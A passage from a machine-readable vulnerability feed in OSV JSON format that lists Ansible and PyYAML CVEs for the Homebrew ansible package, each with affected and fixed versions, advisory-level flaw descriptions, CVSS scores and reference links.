oracle.com/security-alerts/cpujul2022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-14365","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-14365","GHSA-m429-fhmv-c6q2","PYSEC-2020-209"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.13"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when disable_gpg_check is set to False, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1869154"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1733","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1733","GHSA-g4mq-6fp5-qwcf","PYSEC-2020-5"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A race condition flaw was found in Ansible Engine 2.7.17 and prior, 2.8.9 and prior, 2.9.6 and prior when running a playbook with an unprivileged become user. When Ansible needs to run a module with become user, the temporary directory is created in /var/tmp. This directory is created with \"umask 77 && mkdir -p \"; this operation does not fail if the directory already exists and is owned by another user. An attacker could take advantage to gain control of the become user as the target directory can be retrieved by iterating '/proc//cmdline'.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:L"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1733"},{"type":"EVIDENCE","url":"https://github.com/ansible/ansible/issues/67791"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1734","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1734","GHSA-h39q-95q5-9jfp","PYSEC-2020-6"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.0rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the pipe lookup plugin of ansible. Arbitrary commands can be run, when the pipe lookup plugin uses subprocess.Popen() with shell=True, by overwriting ansible facts and the variable is not escaped by quote plugin. An attacker could take advantage and run arbitrary commands by overwriting the ansible facts.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L"}],"references":[{"type":"ADVISORY","url":"https://github.com/ansible/ansible/issues/67792"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1734"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1735","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1735","GHSA-gfr2-qpxh-qj9m","PYSEC-2020-7"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.8"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine when the fetch module is used. An attacker could intercept the module, inject a new path, and then choose a new destination path on the controller node. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1735"},{"type":"FIX","url":"https://github.com/ansible/ansible/issues/67793"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1736","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1736","GHSA-x7jh-595q-wq82","PYSEC-2020-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine when a file is moved using atomic_move primitive as the file mode cannot be specified. This sets the destination files world-readable if the destination file does not exist and if the file exists, the file could be changed to have less restrictive permissions before the move. This could lead to the disclosure of sensitive data. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2NYYQP2XJB2TTRP6AKWVMBSPB2DFJNKD/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BPNZWBAUP4ZHUR6PO7U6ZXEKNCX62KZ7/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1736"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/67794"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1737","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1737","GHSA-893h-35v4-mxqx","PYSEC-2020-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2/"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/issues/67795"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1737"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1738","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1738","GHSA-f85h-23mf-2fwh","PYSEC-2020-10"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L"}],"references":[{"type":"ADVISORY","url":"https://github.com/ansible/ansible/issues/67796"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1738"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1739","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1739","GHSA-923p-fr2c-g5m2","PYSEC-2020-11"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2/"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/67797"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1739"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1740","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1740","GHSA-vcg8-98q8-g7mj","PYSEC-2020-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1740"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/67798"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1746","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1746","GHSA-j2h6-73x8-22c4","PYSEC-2020-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the bind_pw in the parameters field. The highest threat from this vulnerability is data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1746"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/67866"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1747","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-6757-jp84-gxfx","CVE-2020-1747","PYSEC-2020-96"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.3.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.3.1, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. An attacker could use this flaw to execute arbitrary code on the system by abusing the python/object/new constructor.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1747"},{"type":"WEB","url":"https://github.com/github/advisory-database/pull/4942"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/386"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/0cedb2a0697b2bc49e4f3841b8d4590b6b15657e"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/5080ba513377b6355a0502104846ee804656f1e0"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1747"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6757-jp84-gxfx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-96.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7PPAS6C4SZRDQLR7C22A5U3QOLXY33JX"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K5HEPD7LEVDPCITY5IMDYWXUMX37VFMY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MMQXSZXNJT6ERABJZAAICI3DQSQLCP3D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WORRFHPQVAFKKXXWLSSW6XKUYLWM6CSH"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZBJA3SGNJKCAYPSHOHWY3KBCWNM5NYK2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00017.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1753","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-1753","GHSA-86hp-cj9j-33vv","PYSEC-2020-210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1753"},{"type":"FIX","url":"https://github.com/ansible-collections/kubernetes/pull/51"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-25635","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2020-25635","GHSA-f556-49jc-4rvc","PYSEC-2020-220"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"st